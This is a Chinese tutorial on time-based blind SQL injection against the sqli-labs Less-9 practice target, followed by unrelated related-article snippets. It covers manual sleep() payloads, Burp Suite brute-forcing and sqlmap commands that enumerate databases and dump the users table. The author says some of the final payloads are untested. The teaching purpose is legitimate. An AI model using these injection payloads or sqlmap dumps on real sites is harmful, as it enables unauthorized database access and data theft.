关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入

SQL时间注入是一种常见的SQL注入攻击方式,攻击者通过在SQL语句中注入时间相关的代码,来获取敏感信息或者执行非法操作。其基本原理如下:

  1. 攻击者向Web应用程序中输入一段恶意代码,通过SQL语句查询数据库,并注入时间相关的代码。

  2. 时间相关的代码可以包括sleep()函数、benchmark()函数等,这些函数会导致SQL语句执行时间的延迟或者变化。

  3. 攻击者可以根据SQL语句的执行时间,来推断出数据库中存储的信息,如用户名、密码等,从而获取敏感信息或者执行非法操作。

  4. 通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,获取敏感信息或者执行非法操作。

首先我们介绍手动测试,以便大家熟悉原理。

payload主要基于三个函数:sleep()、substr()、if()

以sqllabs-less-9为靶场测试

由于这里无论输入什么都是回显一个内容,因此我们尝试时间盲注

简单使用sleep函数测试,找到闭合点是单引号

?id=1' and sleep(5)--+

可以观察到明显的延时现象后才出现回显内容

我们也可以通过查看请求耗时

6.09s,和我们设置的sleep 5s 差不多,说明sleep语句被执行了,存在时间盲注

那么我们接下来需要先判断当前数据库的长度,使用length函数

?id=1' and if(length(database())=8,sleep(10),0) --+

如果当前数据库的长度为8,则会延时10s 

依旧出现了明显的延时现象

基于这样的一个延时原理,接下来我们使用burpsuite进行爆破

假设我们不知道数据库长度是8,我们先爆破数据库长度

爆破payload:

?id=1' and if(length(database())=1,sleep(3),0) --+

为了爆破时间短一点,我们可以将sleep的时间设置短一点

(但是有时候这个sleep时间也会影响到判断的准确性)

设置爆破位置,选用攻击类型(狙击手,单个参数爆破)

设置爆破字典

如果直接看结果是看不出来的,因为都是回显正常

我们需要基于响应耗时来筛选

按照这个排序

可以看到,正常的响应大约是1s

长度为8时,耗时3999ms,大约4s,即加上了sleep延时的3s

判断出有效载荷为8是执行了sleep函数,因此数据库长度为8

接下来爆数据库名

这里还是需要使用 substr() 函数,该函数和我们在布尔盲注中讲的substring函数类似。

两者都是截取字符串,不同点在于第二个参数

substr(startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串);substring(startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,‘含头不含尾’)。

若只写一个参数两者完全一样,都是截取从当前下标以后直到字符串最后的字符串片段。

爆破payload:

?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+ 

同样选择攻击模式(集束炸弹,不明白的请参考我之前布尔盲注爆破的讲解)

以及设置爆破位置,这里需要爆破的参数有两个

第一个参数的字典显然是1到8(因为数据库长度为8)

第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)

同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload

再将其按照payload1从1到8的顺序排列

得到当前数据库名为:security

接下来我们爆破该数据库下的表名

(我们可以先爆破表名的长度再爆破具体内容,但是其实也可以直接爆破内容)

尽管长度我们不确定,但是我们的字典长度稍微设置大一点即可确保爆破出的内容完整。

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

设置攻击类型,爆破参数位置

设置字典

筛选攻击结果

整理得到第一张表名为:emails 

如果你不确定长度是否正确,可以将'6'带入语句进行验证,若出现延时则表明长度正确。

那么我们通过调整limit的参数即可获取到其他的表名,有时候也可以使用group_concat函数。

至于爆破列名以及具体字段内容也是一个道理,这里就不再过多演示,给出一些payload:

爆破security数据库下emails表下的列名

(可以设置三个参数,增设limit的爆破参数以获取所有列名,具体参考我布尔盲注那篇文章)

?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

爆破具体字段

?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='a',sleep(3),0)--+

或者用

?id=1' and if(substring((select group_concat(email_id)from security.emails),1,1)='a',sleep(3),0)--+

最后给出的payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。

那么最后我们再讲一下使用sqlmap实现全自动的时间盲注

先进行基本检测:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T

参数说明:

-u 指定检测的 url
-p 指定检测的参数
-v 显示调试模式
--technique=T 检测方法为时间注入

经sqlmap 检测为时间注入,通过这个注入我们可以获取相关数据库信息。

获取用户和数据库名:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --current-user --current-db --batch

参数说明:

--current-user 获取用户
--current-db 获取当前库
--batch 使用默认模式,自动 y

 时间比较久,但是准确性是相当可靠的。

这么说吧:一般sqlmap能跑出来的基本上都没啥问题,这种是不存在什么绕过和过滤的,一般存在过和过滤的,sqlmap基本上都跑不出来,需要手工注入。

得到时间盲注结果:

current user: 'root@localhost'

current database: 'security'

接下来我们获取表名

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --tables -D security --batch

参数说明:

-D 指定数据库
--tables 获取表

sqlmap注入结果:

获取security数据库下所有的表为

+----------+
| emails   |
| referers |
| uagents |
| users     |
+----------+

与本地对比,结果正确

接下来我们获取列名: 

这里以users表为例

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --columns -T users -D security --batch

参数说明:

-T 指定表
--columns 获取列名(字段名)

我这里就不等了,最终你可以爆出所有的列。

最后我们获取字段具体内容:

为了节约时间,我这里只演示查id和username

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --dump -C "id,username" -T users -D security --batch

参数说明:

--dump 导出数据
-C 指定查询的字段

 由于结果有很多,这里我也不等了,各位可以自行验证。

 与本地对照,结果一致。

以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。

创作不易,期待大家的支持与关注!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/225848.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

钉钉机器人接入定时器(钉钉API+XXL-JOB)

钉钉机器人接入定时器(钉钉APIXXL-JOB) 首先需要创建钉钉内部群 在群设置中找到机器人选项 选择“自定义”机器人 通过Webhook接入自定义服务 创建完成后会生成一个send URL和一个加签码 下面就是干货 代码部分了 DingDingUtil.sendMessageByText(webho…

什么是迁移学习(Transfer Learning)?定义,优势,方法

迄今为止,大多数人工智能(AI)项目都是通过监督学习技术构建的。监督学习是一种从无到有构建机器学习(ML)模型的方法,它对推动AI发展起到了关键作用。然而,由于需要大量的数据集和强大的计算能力…

账号租号平台PHP源码,支持单独租用或合租使用

源码简介 租号平台源码,采用常见的租号模式。 平台的主要功能如下: 支持单独租用或采用合租模式; 采用易支付通用接口进行支付; 添加邀请返利功能,以便站长更好地推广; 提供用户提现功能;…

PHP的Laravel加一个小页面出现问题(whereRaw的用法)

1.权限更新问题 因为是已经有样例了所以html和php页面很快写出来了 然后就是页面写完了路由不知道在哪写,后来想起来之前有要开权限来着,试了一下,还是不行,不过方向是对了 这是加的路由,不过需要在更新一下权限 这…

【产品经理】axure中继器的使用——表格增删改查分页实现

笔记为个人总结笔记,若有错误欢迎指出哟~ axure中继器的使用——表格增删改查分页实现 中继器介绍总体视图视频预览功能1.表头设计2.中继器3.添加功能实现4.删除功能实现5.修改功能实现6.查询功能实现7.批量删除 中继器介绍 在 Axure RP9 中,中继器&…

leetcode贪心算法题总结(一)

此系列分三章来记录leetcode的有关贪心算法题解,题目我都会给出具体实现代码,如果看不懂的可以后台私信我。 本章目录 1.柠檬水找零2.将数组和减半的最少操作次数3.最大数4.摆动序列5.最长递增子序列6.递增的三元子序列7.最长连续递增序列8.买卖股票的最…

C++:map和set的介绍及使用

目录 1. 关联式容器 2. 键值对 3. 树形结构的关联式容器 3.1 set 3.1.1 set的介绍 3.1.2 set的使用 3.2 map 3.2.1 map的介绍 3.2.2 map的使用 3.3 multiset 3.3.1 multiset的介绍 3.3.2 multiset的使用 3.4 multimap 3.4.1 multimap的介绍 3.4.2 multimap的使用…

Linux磁盘与文件系统管理

在linux系统中使用硬盘 建立分区 安装文件系统 挂载 磁盘的数据结构 磁盘:扇区固定大小,每个扇区4k。磁盘会进行磨损,损失生命周期。 扇区 磁道 柱面 磁盘接口类型 ide SATA SAS SCSI SCSI 设备类型 块设备:block …

kubelet源码学习(二):kubelet创建Pod流程

本文基于Kubernetes v1.22.4版本进行源码学习 4、kubelet创建Pod流程 syncLoop()的主要逻辑是在syncLoopIteration()方法中实现,Pod创建相关代码只需要看处理configCh部分的代码 // pkg/kubelet/kubelet.go // 该方法会监听多个channel,当发现任何一个channel有数…

模式识别与机器学习-SVM(带软间隔的支持向量机)

SVM(带软间隔的支持向量机) 软间隔思想的由来软间隔的引入 谨以此博客作为复习期间的记录。 软间隔思想的由来 在上一篇博客中,回顾了线性可分的支持向量机,但在实际情况中,很少有完全线性可分的情况,大部分线性可分…

GPT分区格式

GPT分区格式 [rootlocalhost ~]# gdisk /dev/sdb -bash: gdisk: 未找到命令 [rootlocalhost ~]# yum -y install gdisk- gdisk命令用于查看磁盘使用情况和磁盘分区(GPT分区格式) - 命令格式:gdisk [选项...] [设备路径] - 常用选项&…

表单(HTML)

<!DOCTYPE html> <html><head><meta charset"utf-8"><title>个人信息</title></head><body><h1>个人信息</h1><form><fieldset><legend>基本信息</legend><label for"…

OpenHarmony城市技术论坛武汉站:探索大模型时代的终端操作系统创新

2023年12月23日下午,OpenHarmony城市技术论坛(以下简称“技术论坛”)——第6期(武汉站)于华中科技大学梧桐语问学中心明德报告厅圆满举办。本次技术论坛聚焦“大模型时代的系统软件”,旨在探索AI大模型在终端操作系统领域的创新趋势和挑战。论坛从“终端操作系统十大技术挑战”…

Vue框架引入Axios

首先已经创建好了 Vue 框架&#xff0c;安装好了 node.js。 没有完成的可按照此博客搭建&#xff1a;搭建Vue项目 之后打开终端&#xff0c;使用命令。 1、命令安装 axios 和 vue-axios npm install axios --save npm install vue-axios --save2、package.json 查看版本 在 p…

代理模式:中间者的故事

代理模式&#xff1a;中间者的故事 介绍需求分析代理模式代码实现代理模式整理和用途第一种用途第二种用途第三种用途第四种用途 总结 介绍 本文引用《大话设计模式》第七章节的内容进行学习分析&#xff0c;仅供学习使用 需求&#xff1a;小明拜托自己好朋友小王给他朋友小美…

2013年第二届数学建模国际赛小美赛A题数学与经济灾难解题全过程文档及程序

2013年第二届数学建模国际赛小美赛 A题 数学与经济灾难 原题再现&#xff1a; 2008年的市场崩盘使世界陷入经济衰退&#xff0c;目前世界经济仍处于低迷状态&#xff0c;其原因是多方面的。其中之一是数学。   当然&#xff0c;并非只有金融界依赖于并非总是可靠的数学模型…

Python 中的数学运算(Python Math)

Python中的math模块是数学运算的重要工具&#xff0c;提供了丰富的数学函数和常数。本文将深入探讨math模块的功能和用法&#xff0c;使您能够更好地利用Python进行数学运算。 Python的math模块是一个强大的工具集&#xff0c;涵盖了许多基本的数学函数和常数&#xff0c;适用…

Go语言中的`sync`包同步原语

通过sync包掌握Go语言的并发 并发是现代软件开发的基本方面&#xff0c;而Go&#xff08;也称为Golang&#xff09;为并发编程提供了一套强大的工具。在Go中用于管理并发的基本包之一是sync包。在本文中&#xff0c;我们将概述sync包&#xff0c;并深入探讨其最关键的同步原语…

Modbus RTU转Modbus TCP模块,RS232/485转以太网模块,YL102 多功能串口服务器模块

特点&#xff1a; ● Modbus RTU协议自动转换成Mobus TCP协议 ● 100M高速网卡&#xff0c;10/100M 自适应以太网接口 ● 支持 AUTO MDI/MDIX&#xff0c;可使用交叉网线或平行网线连接 ● RS232波特率从300到256000可设置 ● 工作方式可选择TCP Server, TCP Client, U…

WPF项目创建HTTP WEB服务,不使用IIS业务 WPF桌面程序WebApi WPF 集成WebApi C# 创建HTTP Web API服务

在C# WPF应用程序中直接创建HTTP服务或WebAPI服务有以下优点&#xff1a; 自托管服务&#xff1a; 简化部署&#xff1a;无需依赖外部服务器或IIS&#xff08;Internet Information Services&#xff09;&#xff0c;可以直接在应用程序内部启动和运行Web服务。 集成紧密&…